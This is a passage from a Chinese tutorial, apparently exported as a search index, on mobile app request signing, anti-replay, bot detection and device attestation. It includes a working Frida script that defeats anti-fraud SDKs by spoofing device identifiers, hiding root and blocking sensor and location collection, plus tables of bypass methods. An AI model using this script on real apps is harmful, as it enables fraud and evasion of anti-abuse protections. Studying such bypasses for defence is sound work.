sb.append(entry.getKey()).append(\"=\").append(entry.getValue()); } // 3. 添加时间戳和随机数 sb.append(\"×tamp=\").append(timestamp); sb.append(\"\u0026nonce=\").append(nonce); // 4. 计算 HMAC try { Mac mac = Mac.getInstance(HMAC_ALGORITHM); SecretKeySpec keySpec = new SecretKeySpec(secretKey, HMAC_ALGORITHM); mac.init(keySpec); byte[] signature = mac.doFinal(sb.toString().getBytes(\"UTF-8\")); // 5. Base64 编码 return Base64.encodeToString(signature, Base64.NO_WRAP); } catch (Exception e) { return null; } } // 生成随机数 public static String generateNonce() { byte[] nonce = new byte[16]; new SecureRandom().nextBytes(nonce); StringBuilder sb = new StringBuilder(); for (byte b : nonce) { sb.append(String.format(\"%02x\", b)); } return sb.toString(); } // 构建签名请求 public Map buildSignedRequest( String url, Map params) { long timestamp = System.currentTimeMillis() / 1000; String nonce = generateNonce(); String signature = sign(params, timestamp, nonce); Map signedParams = new HashMap\u003c\u003e(params); signedParams.put(\"timestamp\", String.valueOf(timestamp)); signedParams.put(\"nonce\", nonce); signedParams.put(\"sign\", signature); return signedParams; } } 复杂签名算法示例 某些应用使用更复杂的签名算法： // Java 实现 - 复杂签名算法示例 public class ComplexSigner { // 签名算法: SHA256(MD5(params) + timestamp + deviceId + salt) public static String complexSign( Map params, long timestamp, String deviceId, String salt) { try { // 1. 对参数进行 MD5 TreeMap sorted = new TreeMap\u003c\u003e(params); StringBuilder paramStr = new StringBuilder(); for (Map.Entry e : sorted.entrySet()) { paramStr.append(e.getKey()).append(e.getValue()); } MessageDigest md5 = MessageDigest.getInstance(\"MD5\"); byte[] paramHash = md5.digest(paramStr.toString().getBytes(\"UTF-8\")); String paramMd5 = bytesToHex(paramHash); // 2. 拼接其他要素 String toSign = paramMd5 + timestamp + deviceId + salt; // 3. SHA256 MessageDigest sha256 = MessageDigest.getInstance(\"SHA-256\"); byte[] finalHash = sha256.digest(toSign.getBytes(\"UTF-8\")); return bytesToHex(finalHash); } catch (Exception e) { return null; } } // 带加密的签名 public static String encryptedSign( Map params, String key) { try { // 1. JSON 序列化 JSONObject json = new JSONObject(params); String plaintext = json.toString(); // 2. AES 加密 SecretKeySpec keySpec = new SecretKeySpec( key.getBytes(\"UTF-8\"), \"AES\" ); Cipher cipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\"); byte[] iv = new byte[16]; new SecureRandom().nextBytes(iv); IvParameterSpec ivSpec = new IvParameterSpec(iv); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); byte[] encrypted = cipher.doFinal(plaintext.getBytes(\"UTF-8\")); // 3. 组合 IV + 密文 byte[] result = new byte[iv.length + encrypted.length]; System.arraycopy(iv, 0, result, 0, iv.length); System.arraycopy(encrypted, 0, result, iv.length, encrypted.length); // 4. Base64 编码 return Base64.encodeToString(result, Base64.NO_WRAP); } catch (Exception e) { return null; } } private static String bytesToHex(byte[] bytes) { StringBuilder sb = new StringBuilder(); for (byte b : bytes) { sb.append(String.format(\"%02x\", b)); } return sb.toString(); } } ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:3:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#hmac-签名实现"},{"categories":null,"collections":null,"content":"2.1 请求签名机制 HMAC 签名实现 // Java 实现 - 请求签名 public class RequestSigner { private static final String HMAC_ALGORITHM = \"HmacSHA256\"; private byte[] secretKey; public RequestSigner(byte[] secretKey) { this.secretKey = secretKey; } // 生成签名 public String sign(Map params, long timestamp, String nonce) { // 1. 排序参数 TreeMap sortedParams = new TreeMap\u003c\u003e(params); // 2. 构建待签名字符串 StringBuilder sb = new StringBuilder(); for (Map.Entry entry : sortedParams.entrySet()) { if (sb.length() \u003e 0) { sb.append(\"\u0026\"); } sb.append(entry.getKey()).append(\"=\").append(entry.getValue()); } // 3. 添加时间戳和随机数 sb.append(\"×tamp=\").append(timestamp); sb.append(\"\u0026nonce=\").append(nonce); // 4. 计算 HMAC try { Mac mac = Mac.getInstance(HMAC_ALGORITHM); SecretKeySpec keySpec = new SecretKeySpec(secretKey, HMAC_ALGORITHM); mac.init(keySpec); byte[] signature = mac.doFinal(sb.toString().getBytes(\"UTF-8\")); // 5. Base64 编码 return Base64.encodeToString(signature, Base64.NO_WRAP); } catch (Exception e) { return null; } } // 生成随机数 public static String generateNonce() { byte[] nonce = new byte[16]; new SecureRandom().nextBytes(nonce); StringBuilder sb = new StringBuilder(); for (byte b : nonce) { sb.append(String.format(\"%02x\", b)); } return sb.toString(); } // 构建签名请求 public Map buildSignedRequest( String url, Map params) { long timestamp = System.currentTimeMillis() / 1000; String nonce = generateNonce(); String signature = sign(params, timestamp, nonce); Map signedParams = new HashMap\u003c\u003e(params); signedParams.put(\"timestamp\", String.valueOf(timestamp)); signedParams.put(\"nonce\", nonce); signedParams.put(\"sign\", signature); return signedParams; } } 复杂签名算法示例 某些应用使用更复杂的签名算法： // Java 实现 - 复杂签名算法示例 public class ComplexSigner { // 签名算法: SHA256(MD5(params) + timestamp + deviceId + salt) public static String complexSign( Map params, long timestamp, String deviceId, String salt) { try { // 1. 对参数进行 MD5 TreeMap sorted = new TreeMap\u003c\u003e(params); StringBuilder paramStr = new StringBuilder(); for (Map.Entry e : sorted.entrySet()) { paramStr.append(e.getKey()).append(e.getValue()); } MessageDigest md5 = MessageDigest.getInstance(\"MD5\"); byte[] paramHash = md5.digest(paramStr.toString().getBytes(\"UTF-8\")); String paramMd5 = bytesToHex(paramHash); // 2. 拼接其他要素 String toSign = paramMd5 + timestamp + deviceId + salt; // 3. SHA256 MessageDigest sha256 = MessageDigest.getInstance(\"SHA-256\"); byte[] finalHash = sha256.digest(toSign.getBytes(\"UTF-8\")); return bytesToHex(finalHash); } catch (Exception e) { return null; } } // 带加密的签名 public static String encryptedSign( Map params, String key) { try { // 1. JSON 序列化 JSONObject json = new JSONObject(params); String plaintext = json.toString(); // 2. AES 加密 SecretKeySpec keySpec = new SecretKeySpec( key.getBytes(\"UTF-8\"), \"AES\" ); Cipher cipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\"); byte[] iv = new byte[16]; new SecureRandom().nextBytes(iv); IvParameterSpec ivSpec = new IvParameterSpec(iv); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); byte[] encrypted = cipher.doFinal(plaintext.getBytes(\"UTF-8\")); // 3. 组合 IV + 密文 byte[] result = new byte[iv.length + encrypted.length]; System.arraycopy(iv, 0, result, 0, iv.length); System.arraycopy(encrypted, 0, result, iv.length, encrypted.length); // 4. Base64 编码 return Base64.encodeToString(result, Base64.NO_WRAP); } catch (Exception e) { return null; } } private static String bytesToHex(byte[] bytes) { StringBuilder sb = new StringBuilder(); for (byte b : bytes) { sb.append(String.format(\"%02x\", b)); } return sb.toString(); } } ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:3:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#复杂签名算法示例"},{"categories":null,"collections":null,"content":"2.2 防重放攻击 // Java 实现 - 防重放机制 public class AntiReplay { // 客户端实现 public static class ClientAntiReplay { private AtomicLong sequence = new AtomicLong(0); // 生成唯一请求 ID public String generateRequestId() { long timestamp = System.currentTimeMillis(); long seq = sequence.incrementAndGet(); String deviceId = getDeviceId(); // 格式: timestamp-sequence-deviceId-random String random = UUID.randomUUID().toString().substring(0, 8); return String.format(\"%d-%d-%s-%s\", timestamp, seq, deviceId, random); } // 添加时间戳和签名 public void addAntiReplayHeaders(HttpURLConnection conn, String body) { long timestamp = System.currentTimeMillis(); String nonce = UUID.randomUUID().toString(); String requestId = generateRequestId(); // 计算签名: HMAC(timestamp + nonce + body) String toSign = timestamp + nonce + body; String signature = computeHmac(toSign); conn.setRequestProperty(\"X-Timestamp\", String.valueOf(timestamp)); conn.setRequestProperty(\"X-Nonce\", nonce); conn.setRequestProperty(\"X-Request-Id\", requestId); conn.setRequestProperty(\"X-Signature\", signature); } private String computeHmac(String data) { // ... HMAC 计算 return \"\"; } private String getDeviceId() { // ... 获取设备 ID return \"\"; } } // 服务端验证逻辑 (伪代码) public static class ServerAntiReplay { private Set\u003cString\u003e usedNonces = new ConcurrentHashSet\u003c\u003e(); private static final long TIMESTAMP_TOLERANCE = 300000; // 5 分钟容差 public boolean validateRequest( long timestamp, String nonce, String requestId, String signature, String body) { // 1. 验证时间戳 long now = System.currentTimeMillis(); if (Math.abs(now - timestamp) \u003e TIMESTAMP_TOLERANCE) { return false; // 时间戳过期 } // 2. 验证 nonce 唯一性 if (usedNonces.contains(nonce)) { return false; // 重放攻击 } usedNonces.add(nonce); // 3. 验证签名 String expectedSignature = computeHmac(timestamp + nonce + body); if (!signature.equals(expectedSignature)) { return false; // 签名不匹配 } return true; } private String computeHmac(String data) { // ... HMAC 计算 return \"\"; } } } ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:3:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#22-防重放攻击"},{"categories":null,"collections":null,"content":"3. 服务端风控技术 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:4:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#3-服务端风控技术"},{"categories":null,"collections":null,"content":"3.1 行为分析 # Python 实现 - 服务端行为分析 import time import statistics from collections import defaultdict from typing import List, Dict, Optional class BehaviorAnalyzer: \"\"\"用户行为分析引擎\"\"\" def __init__(self): self.user_sessions = defaultdict(list) self.request_history = defaultdict(list) def record_request(self, user_id: str, request_data: Dict): \"\"\"记录用户请求\"\"\" timestamp = time.time() self.request_history[user_id].append({ 'timestamp': timestamp, 'endpoint': request_data.get('endpoint'), 'params': request_data.get('params'), 'user_agent': request_data.get('user_agent'), 'ip': request_data.get('ip') }) # 保留最近 1000 条记录 if len(self.request_history[user_id]) \u003e 1000: self.request_history[user_id] = self.request_history[user_id][-1000:] def analyze_request_frequency(self, user_id: str, window_seconds: int = 60) -\u003e Dict: \"\"\"分析请求频率\"\"\" now = time.time() recent_requests = [ r for r in self.request_history[user_id] if now - r['timestamp'] \u003c window_seconds ] return { 'request_count': len(recent_requests), 'requests_per_second': len(recent_requests) / window_seconds, 'unique_endpoints': len(set(r['endpoint'] for r in recent_requests)), 'unique_ips': len(set(r['ip'] for r in recent_requests)) } def analyze_timing_pattern(self, user_id: str) -\u003e Dict: \"\"\"分析请求时间模式\"\"\" requests = self.request_history[user_id] if len(requests) \u003c 10: return {'status': 'insufficient_data'} # 计算请求间隔 intervals = [] for i in range(1, len(requests)): interval = requests[i]['timestamp'] - requests[i-1]['timestamp'] intervals.append(interval) return { 'mean_interval': statistics.mean(intervals), 'std_interval': statistics.stdev(intervals) if len(intervals) \u003e 1 else 0, 'min_interval': min(intervals), 'max_interval': max(intervals), # 标准差过小可能是机器人 'is_suspicious': statistics.stdev(intervals) \u003c 0.1 if len(intervals) \u003e 1 else False } def analyze_endpoint_pattern(self, user_id: str) -\u003e Dict: \"\"\"分析端点访问模式\"\"\" requests = self.request_history[user_id] endpoint_counts = defaultdict(int) for r in requests: endpoint_counts[r['endpoint']] += 1 total = len(requests) endpoint_distribution = { ep: count / total for ep, count in endpoint_counts.items() } # 计算熵值 (多样性指标) import math entropy = -sum( p * math.log2(p) for p in endpoint_distribution.values() if p \u003e 0 ) return { 'endpoint_distribution': endpoint_distribution, 'entropy': entropy, # 熵值过低表示行为模式过于单一 'is_suspicious': entropy \u003c 1.0 } def calculate_risk_score(self, user_id: str) -\u003e int: \"\"\"计算风险评分 (0-100)\"\"\" score = 0 # 频率分析 freq = self.analyze_request_frequency(user_id) if freq['requests_per_second'] \u003e 10: score += 30 elif freq['requests_per_second'] \u003e 5: score += 15 # 时间模式分析 timing = self.analyze_timing_pattern(user_id) if timing.get('is_suspicious'): score += 25 # 端点模式分析 endpoint = self.analyze_endpoint_pattern(user_id) if endpoint.get('is_suspicious'): score += 20 # IP 一致性 if freq['unique_ips'] \u003e 3: score += 15 # 多 IP 可疑 return min(score, 100) class RateLimiter: \"\"\"速率限制器\"\"\" def __init__(self): self.request_counts = defaultdict(list) self.blocked_users = set() def check_rate_limit( self, user_id: str, endpoint: str, limit: int = 100, window: int = 60 ) -\u003e bool: \"\"\"检查是否超过速率限制\"\"\" if user_id in self.blocked_users: return False now = time.time() key = f\"{user_id}:{endpoint}\" # 清理过期记录 self.request_counts[key] = [ ts for ts in self.request_counts[key] if now - ts \u003c window ] # 检查是否超限 if len(self.request_counts[key]) \u003e= limit: return False # 记录本次请求 self.request_counts[key].append(now) return True def block_user(self, user_id: str, duration: int = 3600): \"\"\"封禁用户\"\"\" self.blocked_users.add(user_id) # 在实际实现中，应该使用定时任务在 duration 后解封 def is_blocked(self, user_id: str) -\u003e bool: \"\"\"检查用户是否被封禁\"\"\" return user_id in self.blocked_users class RuleEngine: \"\"\"规则引擎\"\"\" def __init__(self): self.rules = [] def add_rule(self, rule_func, action: str, description: str): \"\"\"添加规则\"\"\" self.rules.append({ 'func': rule_func, 'action': action, 'description': description }) def evaluate(self, request_data: Dict) -\u003e List[Dict]: \"\"\"评估所有规则\"\"\" triggered_rules = [] for rule in self.rules: try:","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:4:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#31-行为分析"},{"categories":null,"collections":null,"content":"3.2 机器学习检测 # Python 实现 - ML 异常检测 import numpy as np from sklearn.ensemble import IsolationForest from sklearn.preprocessing import StandardScaler import joblib class MLBotDetector: \"\"\"基于机器学习的机器人检测\"\"\" def __init__(self): self.model = None self.scaler = StandardScaler() def extract_features(self, user_data: Dict) -\u003e np.ndarray: \"\"\"提取特征向量\"\"\" features = [ # 请求频率特征 user_data.get('requests_per_minute', 0), user_data.get('requests_per_hour', 0), user_data.get('unique_endpoints', 0), # 时间模式特征 user_data.get('timing_mean', 0), user_data.get('timing_std', 0), user_data.get('timing_min', 0), user_data.get('timing_max', 0), # 会话特征 user_data.get('session_duration', 0), user_data.get('page_views', 0), user_data.get('bounce_rate', 0), # 设备特征 1 if user_data.get('has_touch', False) else 0, 1 if user_data.get('has_sensors', False) else 0, user_data.get('screen_width', 0), user_data.get('screen_height', 0), # 行为特征 user_data.get('mouse_movements', 0), user_data.get('keyboard_events', 0), user_data.get('scroll_events', 0) ] return np.array(features).reshape(1, -1) def train(self, training_data: List[Dict]): \"\"\"训练模型\"\"\" X = np.vstack([ self.extract_features(d) for d in training_data ]) # 标准化 X_scaled = self.scaler.fit_transform(X) # 使用隔离森林进行异常检测 self.model = IsolationForest( n_estimators=100, contamination=0.1, # 预期异常比例 random_state=42 ) self.model.fit(X_scaled) def predict(self, user_data: Dict) -\u003e Dict: \"\"\"预测是否为机器人\"\"\" if self.model is None: raise ValueError(\"模型未训练\") X = self.extract_features(user_data) X_scaled = self.scaler.transform(X) # -1 表示异常，1 表示正常 prediction = self.model.predict(X_scaled)[0] score = self.model.decision_function(X_scaled)[0] return { 'is_bot': prediction == -1, 'confidence': abs(score), 'anomaly_score': -score # 越高越异常 } def save_model(self, path: str): \"\"\"保存模型\"\"\" joblib.dump({ 'model': self.model, 'scaler': self.scaler }, path) def load_model(self, path: str): \"\"\"加载模型\"\"\" data = joblib.load(path) self.model = data['model'] self.scaler = data['scaler'] class DeepLearningBotDetector: \"\"\"基于深度学习的机器人检测\"\"\" def __init__(self): self.model = None def build_model(self, input_dim: int): \"\"\"构建神经网络模型\"\"\" import tensorflow as tf self.model = tf.keras.Sequential([ tf.keras.layers.Dense(128, activation='relu', input_shape=(input_dim,)), tf.keras.layers.Dropout(0.3), tf.keras.layers.Dense(64, activation='relu'), tf.keras.layers.Dropout(0.3), tf.keras.layers.Dense(32, activation='relu'), tf.keras.layers.Dense(1, activation='sigmoid') ]) self.model.compile( optimizer='adam', loss='binary_crossentropy', metrics=['accuracy', 'AUC'] ) def train(self, X_train: np.ndarray, y_train: np.ndarray, X_val: np.ndarray = None, y_val: np.ndarray = None): \"\"\"训练模型\"\"\" callbacks = [ tf.keras.callbacks.EarlyStopping( patience=5, restore_best_weights=True ), tf.keras.callbacks.ReduceLROnPlateau( factor=0.5, patience=3 ) ] validation_data = None if X_val is not None and y_val is not None: validation_data = (X_val, y_val) self.model.fit( X_train, y_train, epochs=100, batch_size=32, validation_data=validation_data, callbacks=callbacks ) def predict(self, X: np.ndarray) -\u003e np.ndarray: \"\"\"预测\"\"\" return self.model.predict(X) ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:4:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#32-机器学习检测"},{"categories":null,"collections":null,"content":"4. 设备证明技术 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:5:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#4-设备证明技术"},{"categories":null,"collections":null,"content":"4.1 Google Play Integrity API // Java 实现 - Play Integrity API import com.google.android.play.core.integrity.IntegrityManager; import com.google.android.play.core.integrity.IntegrityManagerFactory; import com.google.android.play.core.integrity.IntegrityTokenRequest; import com.google.android.play.core.integrity.IntegrityTokenResponse; public class PlayIntegrityChecker { private IntegrityManager integrityManager; public PlayIntegrityChecker(Context context) { this.integrityManager = IntegrityManagerFactory.create(context); } // 请求完整性令牌 public void requestIntegrityToken(String nonce, IntegrityCallback callback) { // nonce 应该是服务器生成的随机值 IntegrityTokenRequest request = IntegrityTokenRequest.builder() .setNonce(nonce) .build(); integrityManager.requestIntegrityToken(request) .addOnSuccessListener(response -\u003e { String token = response.token(); // 将 token 发送到服务器验证 callback.onSuccess(token); }) .addOnFailureListener(e -\u003e { callback.onFailure(e); }); } public interface IntegrityCallback { void onSuccess(String token); void onFailure(Exception e); } } 服务端验证： # Python 实现 - 服务端验证 Play Integrity Token import json import base64 from google.auth import jwt from google.oauth2 import service_account import requests class PlayIntegrityVerifier: \"\"\"Play Integrity API 服务端验证\"\"\" def __init__(self, package_name: str, credentials_path: str): self.package_name = package_name self.credentials = service_account.Credentials.from_service_account_file( credentials_path, scopes=['https://www.googleapis.com/auth/playintegrity'] ) def verify_token(self, token: str, nonce: str) -\u003e Dict: \"\"\"验证完整性令牌\"\"\" # 1. 调用 Google API 解码令牌 url = f\"https://playintegrity.googleapis.com/v1/{self.package_name}:decodeIntegrityToken\" headers = { 'Authorization': f'Bearer {self.credentials.token}', 'Content-Type': 'application/json' } data = { 'integrityToken': token } response = requests.post(url, headers=headers, json=data) result = response.json() if 'tokenPayloadExternal' not in result: return {'valid': False, 'error': 'Invalid token'} payload = result['tokenPayloadExternal'] # 2. 验证 nonce if payload.get('requestDetails', {}).get('nonce') != nonce: return {'valid': False, 'error': 'Nonce mismatch'} # 3. 验证包名 if payload.get('appIntegrity', {}).get('packageName') != self.package_name: return {'valid': False, 'error': 'Package name mismatch'} # 4. 检查设备完整性 device_integrity = payload.get('deviceIntegrity', {}) device_verdict = device_integrity.get('deviceRecognitionVerdict', []) # 5. 检查应用完整性 app_integrity = payload.get('appIntegrity', {}) app_verdict = app_integrity.get('appRecognitionVerdict') # 6. 检查账号完整性 account_details = payload.get('accountDetails', {}) account_verdict = account_details.get('appLicensingVerdict') return { 'valid': True, 'device_verdict': device_verdict, 'app_verdict': app_verdict, 'account_verdict': account_verdict, 'is_genuine_device': 'MEETS_DEVICE_INTEGRITY' in device_verdict, 'is_genuine_app': app_verdict == 'PLAY_RECOGNIZED', 'is_licensed': account_verdict == 'LICENSED' } def calculate_risk_level(self, verification_result: Dict) -\u003e str: \"\"\"根据验证结果计算风险等级\"\"\" if not verification_result.get('valid'): return 'HIGH' score = 0 if verification_result.get('is_genuine_device'): score += 40 if verification_result.get('is_genuine_app'): score += 30 if verification_result.get('is_licensed'): score += 30 if score \u003e= 80: return 'LOW' elif score \u003e= 50: return 'MEDIUM' else: return 'HIGH' ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:5:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#41-google-play-integrity-api"},{"categories":null,"collections":null,"content":"4.2 SafetyNet Attestation (已弃用，仅供参考) // Java 实现 - SafetyNet Attestation (Legacy) import com.google.android.gms.safetynet.SafetyNet; import com.google.android.gms.safetynet.SafetyNetApi; public class SafetyNetChecker { private static final String API_KEY = \"YOUR_API_KEY\"; public static void checkSafetyNet(Context context, SafetyNetCallback callback) { // 生成随机 nonce byte[] nonce = new byte[32]; new SecureRandom().nextBytes(nonce); SafetyNet.getClient(context) .attest(nonce, API_KEY) .addOnSuccessListener(response -\u003e { String jwsResult = response.getJwsResult(); // 将 JWS 发送到服务器验证 callback.onSuccess(jwsResult); }) .addOnFailureListener(e -\u003e { callback.onFailure(e); }); } public interface SafetyNetCallback { void onSuccess(String jws); void onFailure(Exception e); } } ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:5:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#42-safetynet-attestation-已弃用仅供参考"},{"categories":null,"collections":null,"content":"5. 常见风控 SDK 分析 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:6:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#5-常见风控-sdk-分析"},{"categories":null,"collections":null,"content":"5.1 主流风控 SDK 特征 SDK 名称 厂商 主要特征 检测能力 同盾 同盾科技 设备指纹、行为分析 Root/模拟器/篡改检测 阿里聚安全 阿里巴巴 多维度风控 完整风控体系 腾讯御安全 腾讯 终端安全、数据加密 加固+风控 网易易盾 网易 反外挂、反作弊 游戏场景优化 极验 极验科技 行为验证、验证码 人机识别 数美科技 数美 智能风控 ML 驱动 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:6:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#51-主流风控-sdk-特征"},{"categories":null,"collections":null,"content":"5.2 SDK 检测绕过思路 // Frida 脚本 - 通用风控 SDK 绕过框架 (function() { \"use strict\"; console.log(\"[*] Risk Control SDK Bypass Framework\"); Java.perform(function() { // 1. 绕过设备指纹采集 bypassDeviceFingerprint(); // 2. 绕过环境检测 bypassEnvironmentCheck(); // 3. 绕过行为采集 bypassBehaviorCollection(); // 4. 绕过完整性校验 bypassIntegrityCheck(); }); function bypassDeviceFingerprint() { console.log(\"[*] Bypassing device fingerprint...\"); // Hook Settings.Secure.getString var Settings = Java.use(\"android.provider.Settings$Secure\"); Settings.getString.overload( \"android.content.ContentResolver\", \"java.lang.String\" ).implementation = function(resolver, name) { if (name === \"android_id\") { // 返回固定或随机的 Android ID return generateFakeAndroidId(); } return this.getString(resolver, name); }; // Hook TelephonyManager var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function() { return generateFakeImei(); }; TelephonyManager.getSubscriberId.overload().implementation = function() { return generateFakeImsi(); }; // Hook NetworkInterface var NetworkInterface = Java.use(\"java.net.NetworkInterface\"); NetworkInterface.getHardwareAddress.implementation = function() { return generateFakeMac(); }; } function bypassEnvironmentCheck() { console.log(\"[*] Bypassing environment check...\"); // Root 检测绕过 var File = Java.use(\"java.io.File\"); var rootPaths = [\"/system/bin/su\", \"/system/xbin/su\", \"/sbin/su\"]; File.exists.implementation = function() { var path = this.getAbsolutePath(); for (var i = 0; i \u003c rootPaths.length; i++) { if (path.indexOf(rootPaths[i]) !== -1) { return false; } } return this.exists(); }; // Build 属性修改 var Build = Java.use(\"android.os.Build\"); Build.FINGERPRINT.value = \"samsung/dreamltexx/dreamlte:9/PPR1.180610.011/G950FXXS5DSL1:user/release-keys\"; Build.TAGS.value = \"release-keys\"; Build.TYPE.value = \"user\"; } function bypassBehaviorCollection() { console.log(\"[*] Bypassing behavior collection...\"); // Hook 传感器数据采集 var SensorManager = Java.use(\"android.hardware.SensorManager\"); SensorManager.registerListener.overload( \"android.hardware.SensorEventListener\", \"android.hardware.Sensor\", \"int\" ).implementation = function(listener, sensor, rate) { // 可以选择不注册或注册一个假的监听器 console.log(\"[*] SensorManager.registerListener blocked\"); return true; // 返回成功但不实际注册 }; // Hook 触摸事件采集 // 这通常在 View 层实现，需要针对具体 SDK // Hook 位置信息采集 var LocationManager = Java.use(\"android.location.LocationManager\"); LocationManager.getLastKnownLocation.overload(\"java.lang.String\").implementation = function(provider) { console.log(\"[*] LocationManager.getLastKnownLocation blocked\"); return null; }; } function bypassIntegrityCheck() { console.log(\"[*] Bypassing integrity check...\"); // Hook PackageManager 签名验证 var PackageManager = Java.use(\"android.app.ApplicationPackageManager\"); PackageManager.getPackageInfo.overload(\"java.lang.String\", \"int\").implementation = function(pkg, flags) { var info = this.getPackageInfo(pkg, flags); // 如果请求签名，可以返回原始签名 if ((flags \u0026 0x40) !== 0) { console.log(\"[*] Signature check intercepted for: \" + pkg); // 这里可以替换签名 } return info; }; // Hook MessageDigest (用于校验) var MessageDigest = Java.use(\"java.security.MessageDigest\"); MessageDigest.digest.overload(\"[B\").implementation = function(input) { // 检测是否是完整性校验 // 可以根据调用栈判断 return this.digest(input); }; } // 辅助函数 function generateFakeAndroidId() { // 生成看起来真实的 Android ID var chars = \"0123456789abcdef\"; var result = \"\"; for (var i = 0; i \u003c 16; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; } function generateFakeImei() { // 生成符合 Luhn 校验的 IMEI var imei = \"35\"; // TAC 开头 for (var i = 0; i \u003c 12; i++) { imei += Math.floor(Math.random() * 10); } // 计算校验位 imei += calculateLuhnCheckDigit(imei); return imei; } function generateFakeImsi() { // 中国移动 IMSI 示例 return \"460001234567890\"; } function generateFakeMac() { // 返回随机 MAC 地址字节数组 var mac = []; for (var i = 0; i \u003c 6; i++) { mac.push(Math.floor(Math.random() * 256)); } return Java.ar","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:6:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#52-sdk-检测绕过思路"},{"categories":null,"collections":null,"content":"6. 绕过策略总结 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:7:0","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#6-绕过策略总结"},{"categories":null,"collections":null,"content":"6.1 客户端绕过 检测类型 绕过方法 难度 持久性 Root 检测 MagiskHide/DenyList ⭐⭐ 高 Frida 检测 自定义端口/过滤 maps ⭐⭐⭐ 中 模拟器检测 修改 Build 属性 ⭐⭐ 高 签名校验 Hook getPackageInfo ⭐⭐ 高 设备指纹 Hook 采集函数 ⭐⭐⭐ 中 SSL Pinning Hook TrustManager ⭐⭐ 高 ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:7:1","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#61-客户端绕过"},{"categories":null,"collections":null,"content":"6.2 通信层绕过 防护类型 绕过方法 难度 请求签名 逆向签名算法 ⭐⭐⭐⭐ 防重放 模拟时间戳/nonce ⭐⭐ 协议加密 逆向加密算法 ⭐⭐⭐⭐ 证书固定 安装自定义证书 ⭐⭐ ","date":"2024-10-05","objectID":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/:7:2","tags":["加密分析","Hook","DEX","反检测","IDA Pro","反混淆"],"title":"移动端安全与风控技术","uri":"/reverse_engineering/android/01-recipes/anti-detection/mobile_app_sec_and_anti_bot/#62-通信层绕过"},{"categories":null,"collections":null,"content":"6.3 最佳实践 ┌─────────────────────────────────────────────────────────────────┐ │ 风控对抗最佳实践 │ 